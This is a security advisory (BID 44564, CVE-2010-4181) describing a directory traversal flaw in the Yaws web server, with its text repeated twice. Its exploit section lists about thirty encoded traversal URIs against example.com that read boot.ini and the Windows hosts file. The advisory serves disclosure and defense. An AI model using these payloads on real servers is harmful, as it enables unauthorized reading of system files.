Yaws URI Directory Traversal Vulnerability
BID:44564
Info
Yaws URI Directory Traversal Vulnerability
| Bugtraq ID: | 44564 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-4181 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 01 2010 12:00AM |
| Updated: | Nov 25 2011 07:06PM |
| Credit: | nitr0us |
| Vulnerable: |
Yaws Yaws 1.91-1 Yaws Yaws 1.89 |
| Not Vulnerable: | |
Discussion
Yaws URI Directory Traversal Vulnerability
Yaws is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.
Yaws 1.89 is vulnerable; other versions may also be affected.
Yaws is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.
Yaws 1.89 is vulnerable; other versions may also be affected.
Exploit / POC
Yaws URI Directory Traversal Vulnerability
Attackers can exploit this issue through a browser.
The following example URIs are available:
http://www.example.com/..\..\..\boot.ini
http://www.example.com/..\..\..\windows\system32\drivers\etc\hosts
http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e\%2e%2e\%2e%2e\boot.ini
http://www.example.com/%2e%2e\%2e%2e\%2e%2e\windows\system32\drivers\etc\hosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/..\\..\\..\\boot.ini
http://www.example.com/..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
http://www.example.com/..\\\..\\\..\\\boot.ini
http://www.example.com/..\\\..\\\..\\\windows\\\system32\\\drivers\\\etc\\\hosts
http://www.example.com/..\/..\/..\/boot.ini
http://www.example.com/..\/..\/..\/windows\/system32\/drivers\/etc\/hosts
http://www.example.com/..\/\..\/\..\/\boot.ini
http://www.example.com/..\/\..\/\..\/\windows\/\system32\/\drivers\/\etc\/\hosts
http://www.example.com/\../\../\../boot.ini
http://www.example.com/\../\../\../windows/\system32/\drivers/\etc/\hosts
http://www.example.com//..\/..\/..\boot.ini
http://www.example.com//..\/..\/..\windows\/system32\/drivers\/etc\/hosts
http://www.example.com/.\..\.\..\.\..\boot.ini
http://www.example.com/.\..\.\..\.\..\windows\system32\drivers\etc\hosts
http://www.example.com/.\\..\\.\\..\\.\\..\\boot.ini
http://www.example.com/.\\..\\.\\..\\.\\..\\windows\\system32\\drivers\\etc\\hosts
http://www.example.com/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..\..\..\boot.ini
http://www.example.com/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..\..\..\windows\system32\drivers\etc\hosts
http://www.example.com////..\..\..\boot.ini
http://www.example.com////..\..\..\windows///system32///drivers///etc///hosts
http://www.example.com/\\\..\..\..\boot.ini
http://www.example.com/\\\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts
Attackers can exploit this issue through a browser.
The following example URIs are available:
http://www.example.com/..\..\..\boot.ini
http://www.example.com/..\..\..\windows\system32\drivers\etc\hosts
http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e\%2e%2e\%2e%2e\boot.ini
http://www.example.com/%2e%2e\%2e%2e\%2e%2e\windows\system32\drivers\etc\hosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/..\\..\\..\\boot.ini
http://www.example.com/..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
http://www.example.com/..\\\..\\\..\\\boot.ini
http://www.example.com/..\\\..\\\..\\\windows\\\system32\\\drivers\\\etc\\\hosts
http://www.example.com/..\/..\/..\/boot.ini
http://www.example.com/..\/..\/..\/windows\/system32\/drivers\/etc\/hosts
http://www.example.com/..\/\..\/\..\/\boot.ini
http://www.example.com/..\/\..\/\..\/\windows\/\system32\/\drivers\/\etc\/\hosts
http://www.example.com/\../\../\../boot.ini
http://www.example.com/\../\../\../windows/\system32/\drivers/\etc/\hosts
http://www.example.com//..\/..\/..\boot.ini
http://www.example.com//..\/..\/..\windows\/system32\/drivers\/etc\/hosts
http://www.example.com/.\..\.\..\.\..\boot.ini
http://www.example.com/.\..\.\..\.\..\windows\system32\drivers\etc\hosts
http://www.example.com/.\\..\\.\\..\\.\\..\\boot.ini
http://www.example.com/.\\..\\.\\..\\.\\..\\windows\\system32\\drivers\\etc\\hosts
http://www.example.com/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..\..\..\boot.ini
http://www.example.com/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..\..\..\windows\system32\drivers\etc\hosts
http://www.example.com////..\..\..\boot.ini
http://www.example.com////..\..\..\windows///system32///drivers///etc///hosts
http://www.example.com/\\\..\..\..\boot.ini
http://www.example.com/\\\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts
Solution / Fix
Yaws URI Directory Traversal Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Yaws URI Directory Traversal Vulnerability
References:
References:
- Yaws Homepage (Yaws)
- Bug 757181 - yaws: Directory traversal flaw (Jan Lieskovsky)
- Debian Bug report logs - #650009 yaws vulnerable to directory traversal using .. (Fabian Linzberger)